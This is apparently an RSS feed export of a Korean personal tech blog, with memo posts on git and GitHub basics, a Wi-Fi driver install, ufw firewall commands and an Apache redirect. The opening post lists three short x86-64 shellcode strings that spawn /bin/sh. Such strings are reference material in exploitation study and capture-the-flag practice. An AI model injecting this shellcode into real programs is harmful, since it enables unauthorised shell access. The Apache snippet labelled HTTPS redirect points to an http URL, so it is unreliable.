&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;\xcd\x80&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;int&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;0x80&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;시스템&amp;nbsp;콜&amp;nbsp;실행&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;64bit&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;(1)&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;27byte&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;(2)&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;25byte&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span&gt;\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;(3)&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;24byte&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span&gt;&lt;span&gt;\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;div id=&quot;gtx-trans&quot; style=&quot;position: absolute; left: -116px; top: 1404.59px;&quot;&gt;
&lt;div class=&quot;gtx-trans-icon&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;</description>
      <category>Honey TIP</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/199</guid>
      <comments>https://netking.tistory.com/199#entry199comment</comments>
      <pubDate>Mon, 13 Apr 2020 15:33:36 +0900</pubDate>
    </item>
    <item>
      <title>GitHub 사용법</title>
      <link>https://netking.tistory.com/198</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;가입&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;- 사이트 : &lt;a href=&quot;https://github.com/&quot;&gt;https://github.com/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbIJvN/btqDlNDUXiq/GF6ZpOxvXWCkLyqa4OoFNk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbIJvN/btqDlNDUXiq/GF6ZpOxvXWCkLyqa4OoFNk/img.png&quot; data-alt=&quot;github 사이트&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbIJvN/btqDlNDUXiq/GF6ZpOxvXWCkLyqa4OoFNk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbIJvN%2FbtqDlNDUXiq%2FGF6ZpOxvXWCkLyqa4OoFNk%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;github 사이트&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;Username, Email, Password를 기입하고 Sign up하면 된다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;설치&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;- 사이트 : &lt;a href=&quot;https://git-scm.com/&quot;&gt;https://git-scm.com/&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1586757912233&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Git&quot; data-og-description=&quot;&quot; data-og-host=&quot;git-scm.com&quot; data-og-source-url=&quot;https://git-scm.com/&quot; data-og-url=&quot;https://git-scm.com/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/Gf86w/hyFFrI1Xb8/kvM06E478sojJmXjsoSsK0/img.png?width=778&amp;amp;height=502&amp;amp;face=0_0_778_502&quot;&gt;&lt;a href=&quot;https://git-scm.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://git-scm.com/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/Gf86w/hyFFrI1Xb8/kvM06E478sojJmXjsoSsK0/img.png?width=778&amp;amp;height=502&amp;amp;face=0_0_778_502');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot;&gt;Git&lt;/p&gt;
&lt;p class=&quot;og-desc&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p class=&quot;og-host&quot;&gt;git-scm.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4cOQt/btqDlObJI3r/NBfiyWXq7zf5ZKhzphdlDk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4cOQt/btqDlObJI3r/NBfiyWXq7zf5ZKhzphdlDk/img.png&quot; data-alt=&quot;git 사이트&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4cOQt/btqDlObJI3r/NBfiyWXq7zf5ZKhzphdlDk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4cOQt%2FbtqDlObJI3r%2FNBfiyWXq7zf5ZKhzphdlDk%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;git 사이트&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;git 사이트에서 자신이 맞는 OS 버전을 설치하면 됩니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bloidt/btqDmUP4w7u/7pyYulhPTQYlM07KKV2E4K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bloidt/btqDmUP4w7u/7pyYulhPTQYlM07KKV2E4K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bloidt/btqDmUP4w7u/7pyYulhPTQYlM07KKV2E4K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbloidt%2FbtqDmUP4w7u%2F7pyYulhPTQYlM07KKV2E4K%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;설치가 완료되었다면 cmd 창을 열어 &quot;git --version&quot; 치면 git 버전이 나온다면 정상적으로 설치가 완료되었습니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;기본 설정&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbCNY6/btqDp02nh2s/VY18fu0kmD8M7xLcvTeeZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbCNY6/btqDp02nh2s/VY18fu0kmD8M7xLcvTeeZK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbCNY6/btqDp02nh2s/VY18fu0kmD8M7xLcvTeeZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbCNY6%2FbtqDp02nh2s%2FVY18fu0kmD8M7xLcvTeeZK%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;1. 자신의 이름과 이메일 주소 설정&lt;/p&gt;
&lt;p&gt;- git configgit config --global user.name &quot;NetKingJ&quot;&lt;/p&gt;
&lt;p&gt;- git config --global user.email&amp;nbsp;&quot;hopejo96@daum.net&quot;&lt;/p&gt;
&lt;p&gt;2. 설정값 확인&lt;/p&gt;
&lt;p&gt;- git config -l&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bCWde2/btqDmnSqrfo/wbBnebWKgIzKRmj1upxQwK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bCWde2/btqDmnSqrfo/wbBnebWKgIzKRmj1upxQwK/img.png&quot; data-alt=&quot;Git Overview&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bCWde2/btqDmnSqrfo/wbBnebWKgIzKRmj1upxQwK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbCWde2%2FbtqDmnSqrfo%2FwbBnebWKgIzKRmj1upxQwK%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Git Overview&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Repository 생성&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;$ git clone {Repository 주소}&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sTzEn/btqDn2tjqqK/vhfdxu5uFrFmskQYmrG5Sk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sTzEn/btqDn2tjqqK/vhfdxu5uFrFmskQYmrG5Sk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sTzEn/btqDn2tjqqK/vhfdxu5uFrFmskQYmrG5Sk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsTzEn%2FbtqDn2tjqqK%2Fvhfdxu5uFrFmskQYmrG5Sk%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;받아온 Repository 폴더에서 코드 작업 후 아래와 같이 Github에 동기화를 진행한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;$ git add --all&lt;/p&gt;
&lt;p&gt;$ git commit -m '{메세지}'&lt;/p&gt;
&lt;p&gt;$ git push&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;※ PC와 Github에 저장된 Repository 내용이 일치하지 않을 경우 git pull 명령으로 동기화할 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Repository 제거&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;Github Repository에서 Setting &amp;rarr; Delete this repository &amp;rarr; {자신의 이름과 Repository 명} 입력&lt;b&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Git 명령어 요약&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cOiEmG/btqDqjUV6tS/i2uXdsT2r2HBAImCtbEa0K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cOiEmG/btqDqjUV6tS/i2uXdsT2r2HBAImCtbEa0K/img.png&quot; data-alt=&quot;Git 명령어 요약&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cOiEmG/btqDqjUV6tS/i2uXdsT2r2HBAImCtbEa0K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcOiEmG%2FbtqDqjUV6tS%2Fi2uXdsT2r2HBAImCtbEa0K%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Git 명령어 요약&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Memo</category>
      <category>Git</category>
      <category>github</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/198</guid>
      <comments>https://netking.tistory.com/198#entry198comment</comments>
      <pubDate>Mon, 13 Apr 2020 15:25:27 +0900</pubDate>
    </item>
    <item>
      <title>iptime 3000U Network Drive Install</title>
      <link>https://netking.tistory.com/195</link>
      <description>&lt;p&gt;&lt;span&gt;$ &lt;/span&gt;&lt;span&gt;git clone &lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;a href=&quot;https://github.com/cilynx/rtl88x2BU_WiFi_linux_v5.3.1_27678.20180430_COEX20180427-5959&quot;&gt;https://github.com/cilynx/rtl88x2BU_WiFi_linux_v5.3.1_27678.20180430_COEX20180427-5959&lt;/a&gt;&lt;span&gt; &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;$ &lt;/span&gt;&lt;span&gt;sudo dkms add ./rtl88x2BU_WiFi_linux_v5.3.1_27678.20180430_COEX20180427-5959 &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;$ &lt;/span&gt;&lt;span&gt;sudo dkms install -m rtl88x2bu -v 5.3.1&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;$ &lt;/span&gt;&lt;span&gt;sudo modprobe 88x2bu&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;span&gt;[ Fast Install ]&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;$&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;git clone&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;https://github.com/cilynx/rtl88x2BU_WiFi_linux_v5.3.1_27678.20180430_COEX20180427-5959;&amp;nbsp;&lt;span style=&quot;color: #333333;&quot;&gt;sudo dkms add ./rtl88x2BU_WiFi_linux_v5.3.1_27678.20180430_COEX20180427-5959; &lt;span style=&quot;color: #333333;&quot;&gt;sudo dkms install -m rtl88x2bu -v 5.3.1; &lt;span style=&quot;color: #333333;&quot;&gt;sudo modprobe 88x2bu;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;</description>
      <category>Memo</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/195</guid>
      <comments>https://netking.tistory.com/195#entry195comment</comments>
      <pubDate>Tue, 7 Apr 2020 18:04:50 +0900</pubDate>
    </item>
    <item>
      <title>Ubuntu Firewall Setup</title>
      <link>https://netking.tistory.com/191</link>
      <description>&lt;p&gt;&lt;b&gt;- &lt;span style=&quot;color: #000000;&quot;&gt;Turn on/off Firewall&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;$ sudo ufw {enable, &lt;span style=&quot;color: #333333;&quot;&gt;disable&lt;/span&gt;}&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;- &lt;span style=&quot;color: #000000;&quot;&gt;Ports and Protocols Open/&lt;span style=&quot;color: #000000;&quot;&gt;Blocking&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;$ sudo ufw {allow, &lt;span style=&quot;color: #333333;&quot;&gt;deny}&lt;/span&gt; {port}/{protocol}&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;ex. &lt;span style=&quot;color: #333333;&quot;&gt;sudo ufw allow 80/tcp&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;ex. &lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;sudo ufw deny 80/tcp&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;- &lt;span style=&quot;color: #000000;&quot;&gt;Remove Rule&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;$ sudo ufw delete {allow, deny} {port}/{protocol}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;ex. sudo ufw delete allow 8080/tcp&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;ex. sudo ufw delete &lt;span style=&quot;color: #333333;&quot;&gt;deny&lt;/span&gt; 8888/tcp&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;b&gt;- IP &lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Open/&lt;span style=&quot;color: #000000;&quot;&gt;Blocking&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;$ &lt;span style=&quot;color: #333333;&quot;&gt;sudo ufw {allow,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;deny}&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt; from &lt;/span&gt;{ip}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;ex. sudo ufw &lt;span style=&quot;color: #333333;&quot;&gt;allow&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt; from 10.0.0.1&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;ex. sudo ufw&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;deny&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;from 10.0.0.4&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;ex. &lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;sudo ufw delete&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;deny&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;from 10.0.0.4&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;- &lt;span style=&quot;color: #000000;&quot;&gt;View Status&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;$ sudo ufw status&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;</description>
      <category>Memo</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/191</guid>
      <comments>https://netking.tistory.com/191#entry191comment</comments>
      <pubDate>Sun, 22 Mar 2020 04:27:03 +0900</pubDate>
    </item>
    <item>
      <title>HTTP &amp;rarr; HTTPS Redirect</title>
      <link>https://netking.tistory.com/190</link>
      <description>&lt;p&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;$ sudo vim /etc/apache2/sites-enabled/000-default.conf&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;[ 추가 ]&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;ServerName myserver.xyz&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;ServerAlias&amp;nbsp;www.myserver.xyz&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Redirect /&amp;nbsp;http://myserver.xyz&lt;/span&gt;&lt;/p&gt;
